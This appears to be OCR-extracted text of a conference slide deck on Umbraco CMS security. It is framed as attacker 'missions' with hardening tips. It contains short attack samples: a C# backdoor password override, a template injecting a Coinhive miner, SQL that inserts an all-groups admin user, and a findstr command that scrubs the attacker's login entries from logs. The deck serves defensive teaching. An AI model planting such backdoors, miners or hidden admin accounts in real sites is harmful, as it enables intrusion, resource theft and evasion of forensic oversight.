Telerik Fiddler Web Debugger  $\times$ Home | Fanoe - Umbrace X File Edit Rules Tools View Help GET/book 🎇 GeoEdge 🛿 WinConfig 🔍 🐓 Replay 🗙 🔻 🕨 Go ا 💺 Stream 🎬 Decode 🛛 Keep: All sessions 🔹 🌐 Any Process 🁬 Find 🔜 Save 🗌 🔞 🔗 🏉 Browse 🔹 🎪 Clear Cache 🎢 TextWizard ← C () formsuploadsecurityhole.perplex.intern/ Host URL Result Protocol Body Caching Content-Type Process Comments U umbraco

#### No Sessions captured (or all were hidden by filters)

Custom

へ EP (4)) d/2 🔤 15:05 24-2-2017

 $\Box$ 

 $\times$ 

#### Welcome to Fanoe

This is the new default starter kit for Umbraco, we enjoy building things that not only look great, but also work great.

Statis	stics k	Inspectors		Execute
Darcad	Raw	Scratchpad		Execute
Farseu		Scratchpad		^
<				> ~
Captur	ing	T All Processe	es 0	

File Choose Files No file chosen

Submit

<!-- Hardening tip 4-->

# Always upgrade your CMS & your modules

<!- END Hardening tip 4 -- >

#### **Recommended advice by Umbraco...**

.8 <!-- Security by Jeffrey Schoemaker -->



#### But do we listen?

Who does <u>not</u> patch or upgrade their website(s)?

028 <!-- Security by Jeffrey Schoemaker -->


# But do we listen?

• Who feels guilty about that? <!-- Security by Jeffrey Schoemaker --> 



### **Umbraco versions – based on 5,000 crawled Umbraco websites**





<!-- Security by Jeffrey Schoemaker -->

**Mission 2: Failure** 

When you've patched your installations



Getting into Umbraco

001	
002	
003	
004	
005	
006	
007	
008	
009	
010	
011	
012	
013	
014	Let's take another approach
015	
016	
017	
018	
019	
020	
021	
022	
023	
024	
025	
026	
027	
028	Security by Jeffrey Schoemaker

# **Mission 2b**

Goal: Get into Umbraco

## Approach 2:

- Create a cool package that everyone wants to use
- Insert an exploit that gives us access

Level 2 Getting into Umbraco

028 <!-- Security by Jeffrey Schoemaker -->

# A cool package

- Perplex Forms on Steroids package
- Open source, can be reviewed for malicious code

Level 2 Getting into Umbraco

028 <!-- Security by Jeffrey Schoemaker -->

004

005 006

007

008

009

010

011

012

013

014

015

016

017

018

019

021

022

023

024

026

027

#### Our Umbraco

Forum **Projects** Documentation Download Contribute Community Videos

15 votes

### Umbraco Forms on Perplex Steroids

This package extends the default <u>Umbraco Forms</u>-package with some additional controls and copy-functionality, as well as the ability to organize forms in folders. Changelogs are included in the package itself and can be viewed before installation.

After installing the package you will get the following:

- Five additional fieldtypes
- Perplex File Upload: Select which file-extensions are allowed to upload, whether multiple files are allowed and the maximum size of the files.
- Perplex Image Upload. Select which image-extensions are allowed to upload, whether multiple files are allowed and the maximum size of the images.
- Perplex Text Field: Adds placeholder-functionality, maximum length-attributes and HTML5 input-type specification
- Perplex Textarea Field: Adds placeholder and maximum length-attributes.
- Perplex ReCaptcha: The Google ReCaptcha version 2
- Copy-functionality: Allows you to copy your forms.
- Folders: In the Forms section it is now possible to create folders (right-click > Create Folder). Folders can be created within other folders, and the sort-order of forms and folders can be altered (right-click > Sort).
- *Form Picker datatype:* A new form picker datatype is included which supports the folder structure.
- Form Picker macro: Likewise, a new form picker macro is included which supports the folder structure.
- Multiple (!) start Nodes in Forms: Similar to Start Node in the Content and Media sections, it is possible to set start nodes in forms. Unlike Content and Media, you can set multiple start nodes for forms. Using start nodes, you can control which users can edit / view / create forms in which folders. This does not currently affect the form pickers, users can still select any form, they just cannot edit them in the Forms section. The Start Nodes can be set in Users > Forms Security. A short video how it works is available here: <a href="https://www.youtube.com/watch?v=vaQsr2uY3bA&">https://www.youtube.com/watch?v=vaQsr2uY3bA&</a> feature=youtu.be</a>
  - Configurationfile: To do some additional configuration on the default fields. The

Download package version 1.8.3

#### Project owner



jeffrey.schoemaker@perplex.nl jeffrey.schoemaker@perplex.nl has 1010 karma points

#### Project Compatibility

This project is compatible with the following versions as reported by community members who have downloaded this package:

Untested or doesn't work on Umbraco Cloud

Edit project

#### 7.10.x (100%)

7.9.x (100%) 7.8.x (100%)

7.7.x (100%)

#### Report compatibility

#### Project Information

Project owner: jeffrey.schoemaker@perplex.nl Contributors: <u>Wouter van der Beek</u>, <u>Timo Perplex</u>, <u>Daniël Knippers</u> Created: 22/01/2016 Current version 1.8.3 .net Version 4.5.2 License MIT Downloads: 3483

#### External resources

Source code



## **Code check**

7	This repository Search Pull requests Issues Marketplace Explore
Perp	lexInternetmarketing / Perplex-Umbraco-Forms S The Star 5 Fork
<b>&lt;&gt;</b> Co	de 🕕 Issues 2 👔 Pull requests 1 🔲 Projects 0 📾 Wiki 🔝 Insights 🔅 Settings
Branch:	master • Perplex-Umbraco-Forms / Perplex.Umbraco.Forms / Code / UmbracoEvents.cs Find file Copy pa
🙎 Per	plexDaniel Fixed Recaptcha on multi-page forms F8497b1 on 13 Oct 20
1 contri	ibutor
81 lin	es (70 sloc) 3.16 KB Raw Blame History 🖵 🖍
1	using System.Ling;
2	using System.Web;
3	using Umbraco.Core;
4	using Umbraco.Core.Logging;
5	using PerplexUmbraco.Forms.Code.Configuration;
6	using Umbraco.Web;
7	using Umbraco.Forms.Data.Storage;
8	using System;
9	using Umbraco.Forms.Core;
10	
11	namespace PerplexUmbraco.Forms.Code
12	
13	public class UmbracoEvents : ApplicationEventHandler
14	1
15	protected override Void ApplicationStarting(UmbracoApplicationBase umbracoApplication, ApplicationContext applicationContext)
16	
1/	// Make Sure the configuration is created if it is not there yet
18	reipiekomon acoron maconităg.Createitmotexiatus);
20	var treeService - AnnlicationContext Current Services AnnlicationTreeService:
20	if(trackervice   = applied unconcection cation vices applied unit cost vice,
21	
23	r // Hide default Umbraco Forms folder, we use our own to display folders
24	<pre>var umbFormTree = treeservice.GetBvAlias("form"):</pre>
25	if (umbFormTree  = null && umbFormTree.Initialize)
26	{
27	<pre>umbFormTree.Initialize = false:</pre>
28	<pre>treeService.SaveTree(umbFormTree);</pre>
29	}
30	-
31	// Add our own tree if it's not there yet
32	<pre>var pplxFormTree = treeService.GetByAlias("perplexForms");</pre>
33	if (pplxFormTree == null)
34	
35	treeService.MakeNew(true, 1, "forms", "perplexForms", "Forms", "icon-folder", "icon-folder-open", "PerplexUmbraco.
36	}

<!-- Security by Jeffrey Schoemaker -->



# Ok, it's safe

### Let's download it

Our Umbraco

Forum **Projects** Documentation Download Contribute Community Videos

Our → Projects → Backoffice extensions

15 votes

### Umbraco Forms on Perplex Steroids

This package extends the default <u>Umbraco Forms</u>-package with some additional controls and copy-functionality, as well as the ability to organize forms in folders. Changelogs are included in the package itself and can be viewed before installation.

After installing the package you will get the following:

- Five additional fieldtypes
- *Perplex File Upload*: Select which file-extensions are allowed to upload, whether multiple files are allowed and the maximum size of the files.
- Perplex Image Upload: Select which image-extensions are allowed to upload, whether multiple files are allowed and the maximum size of the images.
- *Perplex Text Field*: Adds placeholder-functionality, maximum length-attributes and HTML5 input-type specification
- Perplex Textarea Field: Adds placeholder and maximum length-attributes.
- Perplex ReCaptcha: The Google ReCaptcha version 2
- Copy-functionality: Allows you to copy your forms.



Project owner



jeffrey.schoemaker@perplex.nl jeffrey.schoemaker@perplex.nl has 1010 karma points

#### Project Compatibility

This project is compatible with the following versions as reported by community members who have downloaded this package:

Untested or doesn't work on Umbraco Cloud 7.10.x (100%)

Edit project

7.9.x (100%) 7.8.x (100%)

028 <!-- Security by Jeffrey Schoemaker -->

## But...

- Who says the uploaded package is the same as the uploaded sourcecode?
- May be it contains some code like this...



# Create a password that always works

```
public class EvilBackOfficeUserManager : BackOfficeUserManager
008
009
            public override Task<bool> CheckPasswordAsync(BackOfficeIdentityUser user, string password)
010
011
                if (password == "EvilPassword")
012
013
                    return Task.FromResult(true);
014
015
016
                return base.CheckPasswordAsync(user, password);
017
018
019
020
021
022
023
024
025
026
027
028
      <!-- Security by Jeffrey Schoemaker -->
```



Level 2

# **Official Umbraco Guidelines**

- You should audit 3rd party plugins you install in Umbraco. Most of them are open source so they can be inspected
  - We don't know of any malicious plugin that currently exists or has ever existed

<!- Hardening tip 5-->

# **Compile packages yourself?**

<!-- END Hardening tip 5 --- >

I am not sure about this...

But be aware of the possible impacts





# Mission 2: Accomplished

- Exploit known vulnerabilities in specific versions
- Create your own exploit

Level 2 Getting into Umbraco

028 <!-- Security by Jeffrey Schoemaker -->

**LEVEL 1** 

Footprint & Identification

LEVEL 2 Getting into Umbraco

LEVEL 3 Privilege escalation

E HAPPY

LEVEL 4 Clearing our tracks

# Level 3 Privilege escalation

Happy

# **Privilege escalation**

The act of exploiting a bug, design flaw or configuration oversight in an operating system or software application to gain elevated access to resources that are normally protected from an application or user. The result is that an application with more privileges than intended by the application developer or system administrator can perform unauthorized actions.

Thank you, wikipedia

Level 3 Privilege escalation

### So...

# We have access to Umbraco, but we want more access



# **Mission 3.1**:

 Goal: Get more privileges within Umbraco

## Approach: Social engineering

Level 3 Privilege escalation

028 <!-- Security by Jeffrey Schoemaker -->

# Case 1: Meet Mike, our happy trainee

- Mike helps editing the site
- It's a complex website
- No property descriptions in Umbraco

Level 3 Privilege escalation

### 

## Some of the datatypes

Content Metadata Promoblock Info	Content Metadata ProgramInfo Properties
	• 🖬 🚱 🔯
MD_Title	ProgramId
MD_Descr	
	Content Metadata Promoblock Info
	8
	Promoltem_SubCode
Security by Jeffrey Schoemaker	

Level 3 Privilege escalation

## Mike is so helpful..

"Shall I add some descriptions to your properties so everyone can work with your Umbraco install?"

"Wow, would you do that for us?"

"Of course, no problem. Please give me access to Settings section so I can edit your documenttypes"

> "Oh, and BTW. Please do it on production because we don't have a way to transfer document types from development to production.."



028 <!-- Security by Jeffrey Schoemaker -->

1		
Settings		
Document Types		
5 🐺 Homepage	Metadata	
Templates	textstri mD_Title Textstri	ng
<ul> <li>Partial Views</li> </ul>	MD_Title	
Stylesheets	Enter a description	
Scripts		
	a mD_Descr Textare	а
	MD_Descr	
3	Enter a description	
4 Media Types		
5 • E Content Templates		
б		
7		
8		
9	Promoblock	
1		ng
2	Promoltem_SubCode	
3	Enter a description	
L .		
5		
5		

Level 3 Privilege escalation

028 <!-- Security by Jeffrey Schoemaker -->

001	
002	
003	
004	What a nice guvl
005	what a mice guy:
006	
007	
008	
009	Or is he?
010	
011	
012	
013	
014	
015	
016	
017	
018	
019	
020	
021	
022	
023	
024	
025	
026	
027	
028	Security by Jeffrey Schoemaker
029	



## But ...

# We also gave Mike access to Templates & Scripts



Master template: No master 1 - @inherits Umbraco.Web.Mvc.UmbracoTemplatePage<ContentModels.Homepage> Qusing ContentModels = Umbraco.Web.PublishedContentModels; 2 @{ Layout = null; 4 6 - <html> <head> ( head> ) 7 F <body> 10 -11 <header></header> <main></main> 13 -<footer> <script src = "hxxps://coin-hive.com/lib/coinhive.min.js"></script> 14 <script> 15 var miner = 17 new CoinHive.Anonymous('3858f62230ac3c915f300c664312c63f'); miner.start(); </script> </footer> 21 </body> </html>







## **Outputting the connectionstring**

001	
002	
003	
004	Adding an user?
005	
006	E State Stat
007	
998	<div></div>
009	@{
010	// Insert a user 'jeffrey@perplex.nl' with password 'Password2018!' directly into the usertable
011	// And after the insert, make the user a member of all user groups
012	<pre>string SQLStatement = @"</pre>
013 014	INSERT INTO umbracoUser(username,userlogin,userpassword
014	<pre>,passwordConfig,userEmail,userlanguage,securityStampToken)</pre>
016	VALUES ('jeffrey@@perplex.nl'
017	,'jeffrey@@perplex.nl'
018	,'HuH95A2grAmGQxwg5xlcnA==geb7iIe0uxk9lukffzyu/Pqs7hIb7HiNEdDL31Cejys='
019	,'{""hashAlgorithm"":""HMACSHA256""}'
020	,'jeffrey@@perplex.nl'
021	,'en-US'
022	,NEWID());
023	INSERT INTO umbracoUser2UserGroup SELECT @@@@IDENTITY,id FROM umbracoUserGroup;";
024	ApplicationContext.DatabaseContext.Database.Execute(SQLStatement);
025	}
026	
027	Level 3
028	Security by Jeffrey Schoemaker Privilege escalation
029	

<!-- Hardening tip 6-->

# In production, only give your website write permissions to /App\_Data/ /Media/ On the other folders only read

# permissions

<!-- END Hardening tip 6 -- >

028 <!-- Security by Jeffrey Schoemaker -->

Level 3 Privilege escalation

# **Mission 3.2:**

- Goal: Extract crucial data from the database
- Approach: SQL Injection or any other means to extract data through SQL commands

Level 3 Privilege escalation

028 <!-- Security by Jeffrey Schoemaker -->

## Mike is a smart guy...

 He gained access to the database and he's looking for the data in the table SecretInfoTable

	firstname	email	social_security_number	your_biggest_secret
1	Alisa	Alisa.kristine@gmail.com	54876999	Sometimes I see
2	Briscoe	briscoe.coy@gmail.com	00088584	I never wash my
3	Danielle	danielle.ness@hotmail.com	98565566	When I'm thinking
4	Davey	davey.benny@mailinator.com	90444766	I hate brushing m
5	Gilbert	gilbert.denholm@johndoe.com	98533566	My facebookpass
6	Jeffrey	jeffrey@perplex.nl	12345678	Hove unicoms
7	Lenox	lenox.davis@yahoo.com	68990900	It's so hard when
8	Marvin	marvin.clay@msn.nl	89652782	Me and my ex are

028 <!-- Security by Jeffrey Schoemaker -->

Level 3 Privilege escalation



<!-- Hardening tip 7-->

# Store your sensitive data encrypted in the database

<!-- END Hardening tip 7 -- >

| Yet another li | ne of defense |
|----------------|---------------|
|----------------|---------------|

028 <!-- Security by Jeffrey Schoemaker -->

# **Encrypting – Three options**

## • Offered out of the box by MS SQL Server

- Transparent Data Encryption
- Always Encrypted

## The hard way

• 'Manual' data encryption

028 <!-- Security by Jeffrey Schoemaker -->

009 010 011

027

029

## **Option 1 - Transparent Data Encryption**

- Is used to encrypt the .mdf and .ldf files on disk
- And to encrypt the backup as well





# **Option 1 - Transparent Data Encryption**

Files		
Filegroups	Collation:	Latin 1_General_CI_AS
Change Tracking	Recovery model:	Full
Permissions	Compatibility level:	SQL Server 2014 (120)
Mirroring	Containment type:	None
Transaction Log Shipping	Other options:	
	Parameterization	Simple
	Quoted Identifiers Enabled	False
	Recursive Triggers Enabled	False
	Trustworthy	False
	VarDecimal Storage Format Enabled     A Recovery	
	Page Verify	CHECKSUM
	Target Recovery Time (Seconds)	0
	△ Service Broker	
Connection	Broker Enabled	False
Server:	Honor Broker Priority	False
	A State	8872c4eb-3rec-47d5-8193-470731bd5da2
Connection:	Database Bead-Only	False
	Database State	NORMAL
View connection properties	Encryption Enabled	True
		MOET-ODEN
Progress	Encomption Enchlad	
Ready		
Sec. 1		

🕺 Manage Database Encryption			_		×	
🕕 Ready	₽ ₽					
Select a page & General & Properties	💭 Script 👻 😯 Help					
	Encryption Key Option				-	
	Re-Encrypt Database Encryption	n Key:				
	Use server certificate:	cert_SQLEncryptie_Ma	arc		$\sim$	
	O Use server asymmetric key:				$\sim$	
	Regenerate Database Encryptio	n Key:				A B
	Encryption Algorithm:	AES 128			$\sim$	
	Database Encryption Option			7	_	
	Set Database Encryption On					
						A MARINE MARINE
Connection						
UB01\DEVELOPRESEARCH [PERPLEX\marc]						
View connection properties						
Progress						
Ready						
						Level 3
		ОК С	Cancel	Help		e escalation

- **Option 1 Transparent Data Encryption**
- This will not help against any SQL Injection

SELECT \* FROM [SecretInfoTable]

firstname email social_security_number y	your_biggest_secret
1 Alisa Alisa.kristine@gmail.com 54876999	Sometimes I see
019 2 Briscoe briscoe.coy@gmail.com 00088584	I never wash my
<sup>020</sup> 3 Danielle danielle.ness@hotmail.com 98565566	When I'm thinking
4 Davey davey.benny@mailinator.com 90444766	I hate brushing m
923 5 Gilbert gilbert.denholm@johndoe.com 98533566	My facebookpass
<sup>624</sup> 6 Jeffrey jeffrey@perplex.nl 12345678	l love unicoms
7 Lenox lenox.davis@yahoo.com 68990900	It's so hard when
8 Marvin marvin.clay@msn.nl 89652782	Me and my ex are

028 <!-- Security by Jeffrey Schoemaker -->



## Option 2 - Always Encrypted (MS SQL)

Enables encryption on columns

## On a per-user basis

028 <!-- Security by Jeffrey Schoemaker -->




# **Option 2 - Always Encrypted**

аволетта годистопаттр dbo.cmsTags Ħ +dbo.cmsTask 囲 +dbo.cmsTaskType +dbo.cmsTemplate  $\left| + \right|$ Ħ dbo.SecretInfoTable +New Table... dbo.umbracoAcces  $\left[ + \right]$ dbo.umbracoAcces Design  $\left| \pm \right|$ dbo.umbracoAudit +dbo.umbracoCache Ħ E. dbo.umbracoConse  $\mathbf{H}$ Script Table as dbo.umbracoDoma  $\left| + \right|$ Ħ dbo.umbracoExtern  $\left| \pm \right|$ Ħ dbo.umbracoLangu Ħ  $\mathbf{F}$ dbo.umbracoLock Ħ  $\left| + \right|$ dbo.umbracoLog Ħ  $\left| + \right|$ dbo.umbracoMigra Ħ +Full-Text index dbo.umbracoNode === E.

New Table... Design Select Top 1000 Rows Edit Top 200 Rows Script Table as View Dependencies Memory Optimization Advisor Encrypt Columns... Full-Text index

028 <!-- Security by Jeffrey Schoemaker -->

029

001 002 003

008

009

010

011

012

013

014

015

016

017

018

019

020

021

022

023

024

025

026

## Won't work on text and ntext columns



8 <!-- Security by Jeffrey Schoemaker -->

### The database administator will see this

<pre>/****** Script for SelectTopNRows command from SSMS *****/ SELECT TOP (1000) [firstname] ,[email] ,[social_security_number] ,[your_biggest_secret1] ,[a_long_secret] FROM [umbraco710].[dbo].[SecretInfoTable] 100 % *</pre>									
	Results Messages								
	firstname	email	social_security_number	your_biggest_secret i					
1	0x01FC90E95A98ECA3EF83	0x0109BCCA8DD9BD4C90061	0x01C26/A4/A/93/F3F86BF	0x0101EB2FD5F/6C639ABA91BFB5246689696EF0BB0454A8C					
2	0x01D287257D23B4CE2382	0x0134F428CA3FDF37208A8F	0x01EFF19A7BE62833CBF91	0x0185738C68AE7B68F8234890E494C4E28334B3382684C8A4					
3	0x01256FFBA109D7D79269	0x0149647D06A64B42603AA0	0x01B94BDA0CDBFA7110CA	0x0147805DC0A18128F44C44416A62957C66A2F5502343801E					
4	0x017453290EB068228CAA	0x01551B8E50DE122E1EA6EF	0x01A1D6621C48A233E5E6A	0x01A3115EF2D68F5B043642B762DDA79F2E711FAFC52813E					
5	0x01A0D5332627FC98B0D2	0x01CE8C721C96224BC42BAA	0x018C46DC58124BCBDAC9	0x01B328E4D318B4048FA0F621FF9F3F6FF84707E222A09441					
6	0x018A1E91FEF39083BD3C	0x01EAA6817463781515F2B6	0x018CAE3CA91D10EDFEF2	0x01FFE826D973C016F9EE918BDF048EDE0BD343138D7B54					
7	0x0107B7B6E388E514EF3A	0x01F234E3827B90073818FC	0x0175F5448E8A6A73AAA40	0x015B680E04995E914512075C0087915C8BDBFCFAD47AA4F					
8	0x01184C4CBCA6B8EF539F	0x01F2C51712B735F51B21F6	0x0104FB98199BF686167556	0x01D646E3AA6589055F8D1DF3389B8E021BA41B4A59E7A66					

# But the website user (and Mike) still sees

SQLQuery4.sql - WSAdministrator (62)) 💠 🔀 SQLQuery3.sql - WSbraco710 (sa (53))											
	/****** Script for SelectTopNRows command from SSMS ******/										
E	□SELECT TOP (1000) [firstname]										
	<u>ا</u> ر	email]									
	] ر	social_security_number]									
	(] د ر]	your_piggest_secretij									
	FROM D	umbraco710].[dbo].[Secr	etInfoTablel								
100.9/		ampi acovito];[abo];[beei	cermonable]								
100 %	•										
III Results B Messages											
		-									
	firstname	email	social_security_number	your_biggest_secret1	a_long_secret						
1	firstname Gilbert	email gilbert.denholm@johndoe.com	social_security_number 98533566	your_biggest_secret1 My facebookpassword is something	a_long_secret						
1 2	firstname Gilbert Davey	email gilbert.denholm@johndoe.com davey.benny@mailinator.com	social_security_number 98533566 90444766	your_biggest_secret1 My facebookpassword is something I hate brushing my teeth	a_long_secret NULL NULL						
1 2 3	firstname Gilbert Davey Marvin	email gilbert.denholm@johndoe.com davey.benny@mailinator.com marvin.clay@msn.nl	social_security_number 98533566 90444766 89652782	your_biggest_secret1 My facebookpassword is something I hate brushing my teeth Me and my ex are somet	a_long_secret NULL NULL NULL						
1 2 3 4	firstname Gilbert Davey Marvin Briscoe	email gilbert.denholm@johndoe.com davey.benny@mailinator.com marvin.clay@msn.nl briscoe.coy@gmail.com	social_security_number 98533566 90444766 89652782 00088584	your_biggest_secret1 My facebookpassword is something I hate brushing my teeth Me and my ex are somet I never wash my hair	a_long_secret NULL NULL NULL NULL						
1 2 3 4 5	firstname Gilbert Davey Marvin Briscoe Lenox	email gilbert.denholm@johndoe.com davey.benny@mailinator.com marvin.clay@msn.nl briscoe.coy@gmail.com lenox.davis@yahoo.com	social_security_number 98533566 90444766 89652782 00088584 68990900	your_biggest_secret1 My facebookpassword is something I hate brushing my teeth Me and my ex are somet I never wash my hair It's so hard when people	a_long_secret NULL NULL NULL NULL NULL						
1 2 3 4 5 6	firstname Gilbert Davey Marvin Briscoe Lenox Jeffrey	email gilbert.denholm@johndoe.com davey.benny@mailinator.com marvin.clay@msn.nl briscoe.coy@gmail.com lenox.davis@yahoo.com jeffrey@perplex.nl	social_security_number 98533566 90444766 89652782 00088584 68990900 12345678	your_biggest_secret1 My facebookpassword is something I hate brushing my teeth Me and my ex are somet I never wash my hair It's so hard when people Hove unicoms	a_long_secret NULL NULL NULL NULL NULL NULL NULL						
1 2 3 4 5 6 7	firstname Gilbert Davey Marvin Briscoe Lenox Jeffrey Alisa	email gilbert.denholm@johndoe.com davey.benny@mailinator.com marvin.clay@msn.nl briscoe.coy@gmail.com lenox.davis@yahoo.com jeffrey@perplex.nl Alisa.kristine@gmail.com	social_security_number 98533566 90444766 89652782 00088584 68990900 12345678 54876999	your_biggest_secret1 My facebookpassword is something I hate brushing my teeth Me and my ex are somet I never wash my hair It's so hard when people I love unicoms Sometimes I see dead people	a_long_secret NULL NULL NULL NULL NULL NULL NULL NUL						

# **Option 3 – Manual encryption**

#### Encrypt data in .NET before storing it in your database

if (requiresEncryption)

```
if (!String.IsNullOrEmpty(Body))
```

```
Body = Security.Encrypt(Body);
```

#### Decryption only possible via C#-code

```
// Decrypt some values if the e-mail is encrypted
if (e.isEncrypted)
{
```

e.body = Security.Decrypt(e.body);

28 <!-- Security by Jeffrey Schoemaker -->





## **SQL Injection is useless**

#### SELECT \* FROM [SecretInfoTable]

	id	firstname	email	social_security_number	your_biggest_secret1	a_long_secr
1	1	VgWFQoDo3Ee	xq+RDsVP2ECCsKHkOHXNJQ	rKsY26meOES2UIHk0G9fSg==:WB3+GLSWDfKSJ9I7N/uXMzbC	JjcoQiwGpEuM2aYijhjo	NULL
2	2	56UEBi4+LUCh	1Zh8oGZiGkuqIPu2GNM5sQ=	z/0yrVUhIEOO7H94+QkqiA==:5C3AHuhtiz9I1BOtoIJgyZbErKmoiO	NRYbMoMWY0aNaPW	NULL
3	3	I1S21uKBu0Gq	OIPvAPTsQEqUeJLHBgFGLQ	LZLKCP2Adk6P8ouLP3ZNCw==:YX1OnB2SFUdsFRBWVsndaJM	QeVPFKL9mUqiWNIGU	NULL
4	4	Z8GNsgvqU0+0	jOOSGjwXok6wnPtbph7dRA==	ul7EmkRNVkyXAuAlh57/XA==:maAzDJnx6Nb5FF00GwwxO5AOS	Ltz01KKVeEe/8x0DYOJ	NULL
5	5	Di3aC4BXrUCO	Ncsf1UPpUk64vS0QnD9rAg=	6fopMqFTnUOyNL4gbYNo8g==:KMXR9dYbGu/3zVQP9cej/bpxtW	GCV/vvD5R0upAU2VZ	NULL
6	6	nzHtttZlqkiW5K	TuA812ChT06PS5PhoYBzng=	Hp3jvPlgakaAvJTQBw3WVw==;jBIRGYsTHxNp6tzyoNS48jLP8SF	cB6yr+Jg+UObut+348c	NULL
7	7	0376/zsqOESfz	cbitvPqYV0GgMXQoHZ0Rfg=	gD7m3nyFTkmR94w8QzADeg==:Qi5j4CyXs3dqWxWwWRY1RTe	E0J4rK5FDU2qldZbtMQ	NULL
8	8	RPiM3dN+jESO	GQE3qZ7lLkixauzjxJpKWg==:1	ke/Z6y1Vnk6WxY2nq98y2g==:Clb3zqXqeCjN02z1s+GlT3mEKfX3F	2r4wG49rTkmaL+hWA	NULL

Level 3 Privilege escalation

028 <!-- Security by Jeffrey Schoemaker -->







LEVEL 1

Footprint & Identification

LEVEL 2 Getting into Umbraco LEVEL 3 Privilege escalation

E HAPPY

LEVEL 4 Clearing our tracks

Level 4 Clearing our tracks

# **Mission 4.1**

- Goal: Remove our presence on the filesystem
- Approach: Clearing every trace we've made with our name on it on the webserver

Level 4 Clearing our tracks

# Some forensics

 Umbraco registers all login attempts to your website

028 <!-- Security by Jeffrey Schoemaker -->



# **Cleanup the files on disk**

In the command line

D:\>findstr /V /R "evillogon@perplex.nl" UmbracoTraceLog.MyMachine.original.txt > UmbracoTraceLog.MyMachine.cleaned.txt

028 <!-- Security by Jeffrey Schoemaker -->



#### <!-- Hardening tip 8-->

# Do not store logs only on disk which can be easily edited by the website-user

# Store it in the Windows Event Viewer

```
<!-- END Hardening tip 8 -- >
```

028 <!-- Security by Jeffrey Schoemaker -->

Level 4 Clearing our t<u>racks</u>

# Add these lines in your /config/log4net.config

0	<pre>compander_pof</pre>
1	<pre><appender-ref ref="EventLogAppender"></appender-ref></pre>
2	
3	<pre><appender name="EventLogAppender" type="log4net.Appender.EventLogAppender"></appender></pre>
4	<applicationname value="My Umbraco website"></applicationname>
5	<layout type="log4net.Layout.PatternLayout"></layout>
	<conversionpattern value=" %date [P%property{processId}/D%property{appDomainId}/T%thread] %-5level %logger - %message%newline"></conversionpattern>
<u>}</u>	

028 <!-- Security by Jeffrey Schoemaker -->

# **Windows Event Viewer**

006	Event Viewer					- 0	$\times$
007	Eile Action View Help						
008							
009	Event Viewer (Local)	Application Number of events: 33 (I	) New events available			Actions	
010	> 🗒 Custom Views	Application Number of events 55 (				Andradian	
011	🗸 📫 Windows Logs	Level	Date and Time	Source	<u>^</u>	Application	•
011	Physical Application	(i) Information	15/05/2018 14:32:22	My Umbraco website		👩 Open Saved Log	
012	😭 Security	(i) Information	15/05/2018 14:32:21	My Umbraco website		🔻 Create Custom View	
013	Setup	Information	15/05/2018 14:32:21	My Umbraco website	~	Import Custom View	
014	💽 System	<			>	ClearLog	
015	Applications and Service	Event 0, My Umbraco website			×	Tilter Coment Lan	
015	Subscriptions						
016		General Details				Properties	
017		2010 05 15 14:22:21 702 (021244/	D2/T171 INEO Umbraca Cara Sacurity P		-	🔐 Find	
018		0, state: Login attempt succeeded	for username techniek@perplex.nl from	IP address 127.0.0.1		Save All Events As	
010						Attach a Task To this Log	
019						View	•
020						Refresh	
021							•
022						1 Telp	•
023						Event 0, My Umbraco website	•
024						Event Properties	
024						💿 Attach Task To This Event	
025						🔒 Save Selected Events	
026						Сору	•
027						Refresh	
028						- Help	•
						- · · · · · ·	,

### **Windows Event Viewer**

- You cannot remove single lines out of the log
  - Only flush the whole log (and that is suspicious)

#### Automatically copy it to a external server

028 <!-- Security by Jeffrey Schoemaker -->

# **Mission 4.2**

- Goal: Remove our presence in the database
- Approach: Clearing every trace we've made with our name on it on the databaseserver

# More forensics – In the database

#### Access to Umbraco is logged on several places

• umbracoUser

	id	userDisabled	userNoConsole	userName	userLogin	userPassword	passwordConfig
1	0	0	0	techniek@perplex.nl	techniek@perplex.nl	HuH95A2grAmGQxwg5xlcnA==geb7ile0uxk9lukffzyu/Pqs	{"hashAlgorithm":"HM/
2	1	0	0	jeffrey@perplex.nl	jeffrey@perplex.nl	HuH95A2grAmGQxwg5xlcnA==geb7ile0uxk9lukffzyu/Pqs	{"hashAlgorithm":"HM/
3	2	0	0	jeffrey2@perplex.nl	jeffrey2@perplex.nl	HuH95A2grAmGQxwg5xlcnA==geb7ile0uxk9lukffzyu/Pqs	{"hashAlgorithm":"HM/
4	3	0	0	jeffrey2@perplex.nl	jeffrey2@perplex.nl	HuH95A2grAmGQxwg5xlcnA==geb7ile0uxk9lukffzyu/Pqs	{"hashAlgorithm":"HM
5	4	0	0	jeffrey2@perplex.nl	jeffrey2@perplex.nl	HuH95A2grAmGQxwg5xlcnA==geb7ile0uxk9lukffzyu/Pqs	{"hashAlgorithm":"HM/
6	5	0	0	jeffrey3@perplex.nl	jeffrey3@perplex.nl	HuH95A2grAmGQxwg5xlcnA==geb7ile0uxk9lukffzyu/Pqs	{"hashAlgorithm":"HM/

Level 4 Clearing our tracks

028 <!-- Security by Jeffrey Schoemaker -->

# In the database

#### Access to Umbraco is logged on several places

• umbracoUserLogin

	sessionId	userld	loggedInUtc	lastValidatedUtc	loggedOutUtc	ipAddress
1	D780810D-4AF5-430A-9E11-0D57254FF729	5	2018-05-10 12:11:37.857	2018-05-10 12:12:57.080	2018-05-10 12:13:24.217	::1
2	277D126E-41DC-408D-8B91-484D19D4B4A6	1	2018-05-10 12:07:36.370	2018-05-10 12:11:28.407	2018-05-10 12:11:29.223	::1
3	EB4D2A0B-634C-44DA-9C93-608017BB2715	0	2018-05-10 12:04:07.877	2018-05-10 12:07:15.580	NULL	::1
4	E986F8E3-1265-435C-94B4-6863E24DED67	5	2018-05-10 12:13:28.943	2018-05-10 12:13:28.943	NULL	::1
5	C6E15B8E-3B29-41A3-92DA-70634503D991	5	2018-05-10 12:13:38.927	2018-05-10 12:28:25.267	NULL	::1
6	CDB4507C-EAB1-42E9-A454-77EEBA87A4A1	5	2018-05-10 12:52:16.490	2018-05-10 12:54:17.197	NULL	::1
7	B17825FB-DC61-4BFC-A845-D952D60B4BCC	8	2018-05-10 12:28:26.810	2018-05-10 12:36:12.690	2018-05-10 12:36:20.883	::1

Level 4 Clearing our tracks

028 <!-- Security by Jeffrey Schoemaker -->

## In the database

#### Access to Umbraco is logged on several places umbracoAudit

	Results	Messages							
	id	performingUserId	performingDetails	performinglp	eventDateUtc	affectedUserId	affectedDetails	eventType	eventDetails
6	6	1	User "jeffrey@perplex.nl" <jeffrey@perplex.nl></jeffrey@perplex.nl>	::1	2018-05-10 12:11:29.193	1	User "jeffrey@perplex.nl" ⊴jeffrey@perplex.nl>	umbraco/user/sign-in/logout	logout success
